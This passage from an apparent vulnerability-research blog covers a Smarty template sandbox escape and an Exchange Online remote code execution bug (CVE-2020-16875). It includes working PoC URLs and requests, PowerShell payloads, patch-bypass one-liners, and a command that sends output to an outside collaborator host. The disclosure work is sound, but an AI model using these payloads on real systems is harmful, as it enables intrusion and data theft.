
Vectors

Given what we have above senario and assuming a default secure mode is enabled then it’s possible for an attacker to supply their own template code in the following ways:

/page.php?poc=resource:/path/to/template
/page.php?poc=resource:{your template code here}

The resource: will need to be a valid resource, some defaults provided are:

  1. File

When using the file: resource, the code will pull from a local file. I still consider this a remote vector because many applications allow for a file upload and an attacker can provide a relative path or full path to the template file which means UNC paths also work under a Windows environment.

  1. Eval

When using eval: your template code is simply evaluated in Smarty_Resource_Recompiled class. Note that this is not the same as a regular PHP eval.

  1. String

When using the string: resource the code will write the template to disk first and then include it in Smarty_Template_Compiled class.

Vulnerable Example

The proof of concepts presented here may target different sandbox configurations.

Default Sandbox

This page creates a new Smarty instance and enabled secure mode using the default settings:

<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);

Hardened Sandbox

A hardened sandbox page has been created that goes beyond the default sandbox to enable the most secure configuration that Smarty can provide:

<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);

template_object Sandbox Escape PHP Code Injection

Vulnerability Analysis

The fundemental root cause of this vulnerability is access to the Smarty instance from the $smarty.template_object super variable.

Let’s start with getting a reference to the Smarty_Internal_Template object. The {$poc=$smarty.template_object} value simply assigns the template object which is an instance of Smarty_Internal_Template to $poc. This generates the following code:

$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);

This is performed in the compile function within the Smarty_Internal_Compile_Private_Special_Variable class:

case'template_object':
    return'$_smarty_tpl';

If we inspect the $poc object now, we can see it contains many interesting object properties:

object(Smarty_Internal_Template)#7 (24) {  
  ["_objType"]=>
  int(2)  
  ["smarty"]=>
  &object(Smarty)#1 (76) { ... }
  ["source"]=>
  object(Smarty_Template_Source)#8 (16) { ... }
  ["parent"]=>
  object(Smarty)#1 (76) { ... }
  ["ext"]=>
  object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
  ["compiled"]=>
  object(Smarty_Template_Compiled)#11 (12) { ... }

The issue is here is that an attacker can access the smarty or parent property that will give them access to a Smarty instance.

Exploitation

The Static Method Call Technique

So now that an attacker can access the smarty property, they can simply pass it as the third argument to the Smarty_Internal_Runtime_WriteFile::writeFile which will write an arbitrary file to disk (write what where primitive). This is the same technique performed by James Kettle in 2015.

Having the ability to write arbitrary files to a targets filesystem is almost a guaranteed win but an attacker can never be too sure. Environments can vastly differ and writable directories in the webroot may not exist, .htaccess maybe blocking access to backdoors, etc.

Given that context, I came up with an application specific technique in which this vulnerability can be exploited for direct remote code execution without the need for these environment factors.

If using the string: resource, the process method inside of Smarty_Template_Compiled will be called which includes the compiled template file.

    public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile
                || ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $_smarty_tpl->compile_check;
                $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
                $this->loadCompiledTemplate($_smarty_tpl);
                $_smarty_tpl->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include $this->filepath; // overwrite this file and then include!

It’s possible we can dynamically get access to this filepath property of the Smarty_Template_Compiled class so that we can use it as a location for the file write.

The nice thing about this technique is that the temporary location must be writable for the resource to work and it’s platform independant.

Proof of Concept

Using PHP’s built in webserver and the supplied page from Default Sandbox as the target, run the following poc twice.

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

static call exploitation

The reason the request needs to be triggered twice is that the first time the cache file is written and then overwritten. The second time the cache is triggered and the file is included for remote code execution.

Mitigation

As a temporary workaround, the static_classes property can be nulled out in a custom security policy to prevent access to the Smarty_Internal_Runtime_WriteFile class. However, this comes at a cost and will heavily reduce functionality. For example, in the Yii framework access to Html::mailto, JqueryAsset::register and other static method calls will not will not work.

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->static_classes = null;
$smarty->enableSecurity($my_security_policy);

I don’t consider this a complete mitigation since this is not enabled by default when turning secure mode on and doesn’t address the root cause of the vulnerability.

The Sandbox Disabling Technique

Suppose we have a harder target that doesn’t use the default security mode and instead attempts to define it’s own security policy as with the Hardened Sandbox example. It’s still possible to bypass this environment since we can get access to the Smarty instance and can use it to disable the sandbox and render our php code directly.

Proof of Concept
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

property access and method call exploitation

Mitigation

As a temporary workaround, the disabled_special_smarty_vars property can contain the an array with the string template_object.

However, this feature is completely undocumented. Below is an example of how to prevent the attack:

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->disabled_special_smarty_vars = array("template_object");
$smarty->enableSecurity($my_security_policy);

Just like the static method call technique, I don’t consider this a complete mitigation since this is not enabled by default in the sandbox.

Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection

Vulnerability Analysis

When compiling template syntax, the Smarty_Internal_Runtime_TplFunction class does not filter the name property correctly when defining tplFunctions. Let’s take a look at an example with the following template:

{function name='test'}{/function}

We can see that the compiler generates the following code:

/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
    function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
	    foreach ($params as $key => $value) {
            $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
        }
    }
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */

The test string which is presumed controlled by the attacker is injected several times into the generated code. Notable examples are anything not within single quotes.

Since this is injected multiple times, I found it difficult to come up with a payload that would target the comment injection on the first line, so I opted for the function definition injection instead.

Proof of Concept

Using PHP’s built in webserver and the supplied page from Hardened Sandbox as the target, run the following poc:

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

function name injection

Tiki Wiki

When we combine CVE-2020-15906 and CVE-2021-26119 together, we can achieve unauthenticated remote code execution using this exploit:

researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id

researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

CMS Made Simple

When we combine CVE-2019-9053 and CVE-2021-26120 together, we can achieve unauthenticated remote code execution using this exploit:

researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"

researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

References

  1. https://portswigger.net/research/server-side-template-injection
  2. https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Making Clouds Rain :: Remote Code Execution in Microsoft Office 365

12 January 2021 at 14:00

Exchange Online

When I joined Qihoo’s 360 Vulcan Team, one of the things I had free rein over was having the ability to choose an area of security research that has a high impact. Since I enjoy web security research a lot I decided to target cloud based technologies. At the time, I decided to target Microsoft’s cloud network because my understanding of .net was very limited and it gave me a chance to grow that technical capability.

TL;DR; This post is a story on how I found and exploited CVE-2020-168751, a remote code execution vulnerability in Exchange Online and bypassed two different patches for the vulnerability. Exchange Online is part of the Office 365 suite that impacted multiple cloud servers operated by Microsoft that could have resulted in the access to millions of corporate email accounts.

Background

If you take a look at the number of remote code execution bugs in Microsoft Exchange Server within the last two years, you will find 6 bugs publically reported (not including the bug in this post). Only two of those were deemed important for mentioning:

  • CVE-2019-1373

    Rated as critical because this bug impacted Microsoft’s cloud network and subsequently impacted other cloud providers of Exchange Server that utilize multi-tenant environments even though a high privileged account was required.

  • CVE-2020-0688

    Rated as important, likely due to the fact that cloud providers were not impacted (some differentiations occur in configuration between the cloud and on-premise deployments). However, this code execution bug only required a low privileged domain account with a valid mailbox making it a great target for phishing attacks against on-premise deployments.

In contrast if we take a look at just how popular Office 365 is, we can see that by the end of 2019 the service had a little over 200 million active users. So when Office 365 goes down as it did recently, it makes the news. Below is a chart2 showing a nice linear growth in active subscriptions of Office 365 clearly showing large numbers of organizations depending on “the cloud”.

Growth in Office 365 Monthly Active Users since November 2015

So a remote code execution inside of Office 365 sounded like high impact to me.

Approach

Whilst I could have blindly tested the Exchange Online instance, this would have likely resulted in 0 high impact findings. Assuming that Microsoft know what they are doing, it’s unlikley that I would have a found a high impact remote code execution vulnerability without accessing source code.

Often legacy methods and/or new features remain hidden from a UI and this was my primary focus (and chance to obtain remote access) which simply cannot be found from a black-box perspective.

Understanding the Exchange Architecture

From a high level view, Exchange Server exposes a number of web APIs as well as a powershell remoting interface for users and administrators. Some of the APIs actually proxy much of the same functionality to backend endpoints. For example the Exchange Control Panel (/ecp) is a simple asp.net web application implementing a number of asp.net handlers that mostly wrap cmdlet execution in the powershell remoting interface (/powershell).

Since I was targeting Exchange Online, it didn’t matter if I had a pre or post-authenticated remote code execution vulnerability. The impact, with regards to Exchange Online would have been the same since a malicious tenant can be created with ease and the necessary permissions applied. This is the fundamental difference in targeting cloud based technologies vs on-premise environments that is all too often overlooked. Your threat model is different in the cloud!

Attack Surface

Since we can use any privilege level to achieve code execution in the cloud, I decided to focus on the powershell remoting interface since it had been a source of trouble in the past with CVE-2019-1373. Auditing powershell cmdlets is really just like auditing most .net application code without all the web framework scaffolding! Without further due, let’s dive into the analysis of CVE-2020-16875.

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability

Vulnerability Analysis

The class that handles the New-DlpPolicy cmdlet can be found at Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicy inside of the C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Management.dll library. This class (like all the other cmdlets) have two internal methods which are called in the following order:

  1. InternalValidate
  2. InternalProcessRecord
namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    [Cmdlet("New", "DlpPolicy", SupportsShouldProcess = true)]
    public sealed class NewDlpPolicy : NewMultitenancyFixedNameSystemConfigurationObjectTask<ADComplianceProgram>
    {
        // ...
        private NewDlpPolicyImpl impl;

        public NewDlpPolicy()
        {
            this.impl = new NewDlpPolicyImpl(this);
        }

        protected override void InternalProcessRecord()
        {
            this.SetupImpl();
            this.impl.ProcessRecord();  // 1
        }

At [1] InternalProcessRecord calls NewDlpPolicyImpl.ProcessRecord().

namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    internal class NewDlpPolicyImpl : CmdletImplementation
    {
        // ...
        public override void ProcessRecord()
        {
            try
            {
                IEnumerable<PSObject> enumerable;
                DlpUtils.AddTenantDlpPolicy(base.DataSession, this.dlpPolicy, Utils.GetOrganizationParameterValue(this.taskObject.Fields), out enumerable, false);  // 2
            }
            catch (DlpPolicyScriptExecutionException exception)
            {
                this.taskObject.WriteError(exception, ErrorCategory.InvalidArgument, null);
            }
        }

We can see the call to DlpUtils.AddTenantDlpPolicy at [2] which is using the attacker influenced this.dlpPolicy instance. Although not shown, dlpPolicy is derived from the cmdlet parameter TemplateData inside the NewDlpPolicy class.

        [Parameter(Mandatory = false)]
        public byte[] TemplateData
        {
            get
            {
                return (byte[])base.Fields["TemplateData"];
            }
            set
            {
                base.Fields["TemplateData"] = value;
            }
        }

Investigating the DlpUtils.AddTenantDlpPolicy call reveals some interesting things:

namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    internal static class DlpUtils
    {

        // ...
        public static void AddTenantDlpPolicy(IConfigDataProvider dataSession, DlpPolicyMetaData dlpPolicy, ...)
        {
            //...
            if (skipTransportRules)
            {
                return;
            }
            IEnumerable<string> cmdlets = Utils.AddOrganizationScopeToCmdlets(dlpPolicy.PolicyCommands, organizationParameterValue);  // 3
            string domainController = null;
            ADSessionSettings sessionSettings = null;
            MessagingPoliciesSyncLogDataSession messagingPoliciesSyncLogDataSession = dataSession as MessagingPoliciesSyncLogDataSession;
            if (messagingPoliciesSyncLogDataSession != null)
            {
                domainController = messagingPoliciesSyncLogDataSession.LastUsedDc;
                sessionSettings = messagingPoliciesSyncLogDataSession.SessionSettings;
            }
            try
            {
                results = CmdletRunner.RunCmdlets(cmdlets, false);  // 4
            }
            //...
        }

At [3] the code extracts the attacker supplied PolicyCommands and stores them into an IEnumerable array of strings called cmdlets. Then at [4] the code calls CmdletRunner.RunCmdlets on cmdlets.

namespace Microsoft.Exchange.Management.Common
{
    internal class CmdletRunner
    {
        internal static IEnumerable<PSObject> RunCmdlets(IEnumerable<string> cmdlets, bool continueOnFailure = false)
        {
            PSLanguageMode languageMode = Runspace.DefaultRunspace.SessionStateProxy.LanguageMode;
            if (languageMode != PSLanguageMode.FullLanguage)
            {
                Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
            }
            List<PSObject> list = new List<PSObject>();
            StringBuilder stringBuilder = new StringBuilder();
            try
            {
                foreach (string text in cmdlets)
                {
                    using (Pipeline pipeline = Runspace.DefaultRunspace.CreateNestedPipeline())
                    {
                        pipeline.Commands.AddScript(text);  // 5
                        IEnumerable<PSObject> collection = pipeline.Invoke();  // 6
                        list.AddRange(collection);
                        IEnumerable<object> enumerable = pipeline.Error.ReadToEnd();
                        if (enumerable.Any<object>())
                        {
                            stringBuilder.AppendLine(text);
                            foreach (object obj in enumerable)
                            {
                                stringBuilder.AppendLine(obj.ToString());
                            }
                            if (!continueOnFailure)
                            {
                                throw new CmdletExecutionException(stringBuilder.ToString());
                            }
                        }
                    }
                }
            }
            // ...
        }
    }
}

At [5] the command is added to the pipeline and finally at [6] the powershell command is executed.

Reaching the Bug

Before we try and exploit this bug, we need to make sure we have the appropriate permissions. We can set the permission in the Exchange Online PowerShell the equivalent being for on-premise installations is the Exchange Management Console (EMC).

Adding Harry Houdini to the dlp users group with the Data Loss Prevention Role

There are some groups that come default with Exchange Server that contain the “Data Loss Prevention” Role assigned by such as Organization Management and Server Management which could also be used. Typically though, in cases like these I’m suspicious of organizations handing out roles to users like santa giving out presents to bad little children.

Once we have the correct permissions we can exploit the bug in two different ways - the first being the ps-remoting interface (/powershell) and the second being the ecp interface (/ecp). The ecp interface is interesting because it proxies the attack nicely over https meaning it can integrate nicely into Metasploit (thanks Will!).

Exploitation via ECP

Inside of the Microsoft.Exchange.Management.ControlPanel.dll library, we can find the following entry:

// Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV
private void ExecuteUpload()
{
    try
    {
        if (base.Request.Files.Count == 0 || string.IsNullOrEmpty(base.Request.Files[0].FileName))
        {
            ErrorHandlingUtil.ShowServerError(Strings.ISVNoFileUploaded, string.Empty, this.Page);
        }
        else
        {
            DLPISVService dlpisvservice = new DLPISVService();
            HttpPostedFile httpPostedFile = base.Request.Files[0];                                                      // 1
            byte[] array = new byte[httpPostedFile.ContentLength];
            httpPostedFile.InputStream.Read(array, 0, array.Length);                                                    // 2
            PowerShellResults powerShellResults = dlpisvservice.ProcessUpload(new DLPNewPolicyUploadParameters
            {
                Mode = this.policyMode.SelectedValue,
                State = RuleState.Enabled.ToString(),
                Name = this.name.Text,
                Description = this.description.Text,
                TemplateData = array                                                                                    // 3
            });
            if (powerShellResults.Failed)
            {
                ErrorHandlingUtil.ShowServerErrors(powerShellResults.ErrorRecords, this.Page);
            }
            else
            {
                this.Page.RegisterStartupScript("windowclose", string.Format("<script>{0}</script>", "window.opener.RefreshPolicyListView();window.close();"));
            }
        }
    }
    catch (Exception ex)
    {
        ErrorHandlingUtil.ShowServerError(ex.Message, string.Empty, this.Page);
    }
}

At [1] the code sets the httpPostedFile variable from the attackers request. Then at [2] the input stream is read into an array which is later feed to ProcessUpload via TemplateData at [3].

    public class DLPISVService : DataSourceService
    {
        public PowerShellResults ProcessUpload(DLPPolicyUploadParameters parameters)
        {
            parameters.FaultIfNull();
            if (parameters is DLPNewPolicyUploadParameters)
            {
                return base.Invoke(new PSCommand().AddCommand("New-DLPPolicy"), Identity.FromExecutingUserId(), parameters);                 // 4
            }
            return null;
        }
    }
}

At [4] the code calls the New-DLPPolicy powershell command with the attacker supplied template data. The following proof of concept triggers this bug over the /ecp web interface:

POST /ecp/DLPPolicy/ManagePolicyFromISV.aspx HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=---------------------------129510176238983759443570320270
Content-Length: 1728
Cookie: <cookies>

-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="__VIEWSTATE"

<viewstate>
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"

ResultPanePlaceHolder_ButtonsPanel_btnNext
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="poc.xml"

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>360VulcanTeam</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c mspaint";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"

360VulcanTeam
-----------------------------129510176238983759443570320270--

Exploitation via Powershell

The actual poc after connecting to the server via ps-remoting was as simple as running:

`New-DlpPolicy -Name "360VulcanTeam" -TemplateData ([Byte[]](Get-Content -Encoding Byte -Path "C:\path\to\some\poc.xml" -ReadCount 0))`

…and the corresponding poc.xml payload I used execute a system command:

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>360VulcanTeam</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c mspaint";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>

Attacking Testing Microsoft Servers

When testing, I targeted the outlook.office365.com and outlook.office.com servers and I had to change the payload a bit to access the stdout of the executed process and ship it off to my burp collaborator server:

Gaining remote code execution as SYSTEM on Microsoft's cloud

$i=New-object System.Diagnostics.ProcessStartInfo;
$i.RedirectStandardOutput=$true;
$i.CreateNoWindow=$false;
$i.UseShellExecute=$false;
$i.FileName="cmd";
$i.Arguments="/c whoami";
$r=New-Object System.Diagnostics.Process;
$r.StartInfo=$i;
$r.Start();
$stdout=$r.StandardOutput.ReadToEnd();
$r.WaitForExit();
$wc=New-Object system.Net.WebClient;
$wc.downloadString("http://qpjx5jhw5iepwty74syonufe85ev2k.burpcollaborator.net/$stdout");

Why was that working!??

To my surprise that actually worked, meaning I could execute commands as SYSTEM on Microsoft’s cloud and exfiltrate sensitive data over http without being caught. The glory of using your own zero-day found in Microsoft’s own code to attack their cloud servers is quite satisfying! Here is some fun output:

C:\WINDOWS\system32>hostname
SA0PR18MB3472

C:\WINDOWS\system32>whoami
nt authority/system

C:\WINDOWS\system32>ipconfig

Windows IP Configuration


Ethernet adapter MAPI:

   Connection-specific DNS Suffix  . : namprd18.prod.outlook.com
   IPv6 Address. . . . . . . . . . . : 2603:10b6:806:9c::14
   Link-local IPv6 Address . . . . . : fe80::5cb7:b22d:4b7e:cf08%4
   IPv4 Address. . . . . . . . . . . : 20.181.63.14
   Subnet Mask . . . . . . . . . . . : 255.255.255.192
   Default Gateway . . . . . . . . . : 2603:10b6:806:9c::4
                                       20.181.63.4

Tunnel adapter Local Area Connection* 1:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::48e1:93d:5474:330d%9
   IPv4 Address. . . . . . . . . . . : 169.254.10.45
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter vEthernet (nat):

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::5c31:25e9:ba27:e6bc
   IPv4 Address. . . . . . . . . . . : 172.22.160.1
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 0.0.0.0
   
C:\WINDOWS\system32>net user

User accounts for //

-------------------------------------------------------------------------------
BandwidthBrokerUser      CLIUSR                   DefaultAccount           
ExoAdmin                 Guest                    hadoop                   
SyncOsImage              WDAGUtilityAccount       

The Patch

Microsoft patched the bug in the DlpPolicyTemplateMetaData.ValidateCmdletParameters function which is reachable from the NewDlpPolicy.InternalValidate function:

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicy
protected override void InternalValidate()
{
    this.DataObject = (ADComplianceProgram)this.PrepareDataObject();
    if (this.Name != null)
    {
        this.DataObject.SetId(base.DataSession as IConfigurationSession, this.Name);
    }
    this.SetupImpl();
    this.impl.Validate();  // party poopers?
}

Below is the corresponding stack trace that prevents the attack

> Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData.ValidateCmdletParameters
  mscorlib.dll!System.Collections.Generic.List<string>.ForEach
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData.Validate
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyParser.ParseDlpPolicyTemplate
  System.Core.dll!System.Linq.Enumerable.WhereSelectEnumerableIterator<System.Xml.Linq.XElement, Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>.MoveNext
  mscorlib.dll!System.Collections.Generic.List<Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>.List
  System.Core.dll!System.Linq.Enumerable.ToList<Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyParser.ParseDlpPolicyTemplates
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpUtils.LoadDlpPolicyTemplates
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicyImpl.LoadDlpPolicyFromCustomTemplateData
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicyImpl.Validate

The ValidateCmdletParameters function blocks two things - the first is the ability to execute inline commands (multiple commands). The patch tokenizes the command string using the PSParser class and looks for instances where commands have subcommands and if that turns out to be the case, the code throws an exception.

The second check is the validation that the supplied command starts with the string New-TransportRule and contains -DlpPolicy

The patch pretending to block my attack

Patch Bypass 1

If you look at the patch closely and have a decent understanding of powershell… (go on, take another look, I’ll wait)

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData
internal static void ValidateCmdletParameters(string cmdlet, IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
    if (string.IsNullOrWhiteSpace(cmdlet))
    {
        return;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2);
    if (collection2 != null && collection2.Count > 0) // ok lets just not have an errors in our command
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
    if (collection != null)
    {
        if ((from token in collection
        where token.Type == PSTokenType.Command
        select token).ToList<PSToken>().Count > 1) // just blocks multiple command tokens? what about not statement separators, comments, etc?
        {
            throw new DlpPolicyParsingException(Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
        }
    }
    bool flag = false;
    foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
    {
        if (cmdlet.StartsWith(keyValuePair.Key, StringComparison.InvariantCultureIgnoreCase)) // very weak, we can use statement seperators to bypass this
        {
            if (!Regex.IsMatch(cmdlet, keyValuePair.Value, RegexOptions.IgnoreCase))  // we can use comment tokens to slip past this
            {
                throw new DlpPolicyParsingException(Strings.DlpPolicyMissingRequiredParameter(cmdlet, keyValuePair.Value));
            }
            flag = true;
        }
    }
    if (!flag)
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
}

…then you will realize that you can execute inline code in the powershell console. So an attacker could have still called static methods from fixed types or (ab)use statement seperators ; to bypass the patch. The other thing to note is that the patch didn’t block inline comments meaning attackers could comment out the -DlpPolicy regex check. Such examples are:

neW-tRaNsPoRtRuLe $([Diagnostics.Process]::Start("cmd", "/c mspaint")) #-dLpPoLiCy

or

neW-tRaNsPoRtRuLe 360Vulcan; [Diagnostics.Process]::Start("cmd", "/c mspaint") #-dLpPoLiCy

Well done to Yasar, Leonard and Markus Vervier for discovering that particular patch bypass which they also blogged about! The other bypass I found was that it was possible to use powershell call operators using the & symbol to call powershell cmdlets. By default you can’t call cmdlets that require an argument but since we have the statement seperator we could just append the arguments to the variable call as needed!

neW-tRaNsPoRtRuLe 360Vulcan; $poc='New-object'; $i = & $poc System.Diagnostics.ProcessStartInfo; $i.UseShellExecute = $true; $i.FileName="cmd"; $i.Arguments="/c mspaint"; $r = & $poc System.Diagnostics.Process; $r.StartInfo = $i; $r.Start() #-dLpPoLiCy

Markus and I were working independently of each other and it was really interesting to see that we came up with completely different solutions for the patch bypass! Markus’s bypass works because the language mode3 for the runspace of the CmdletRunner class was set to FullLanguage.

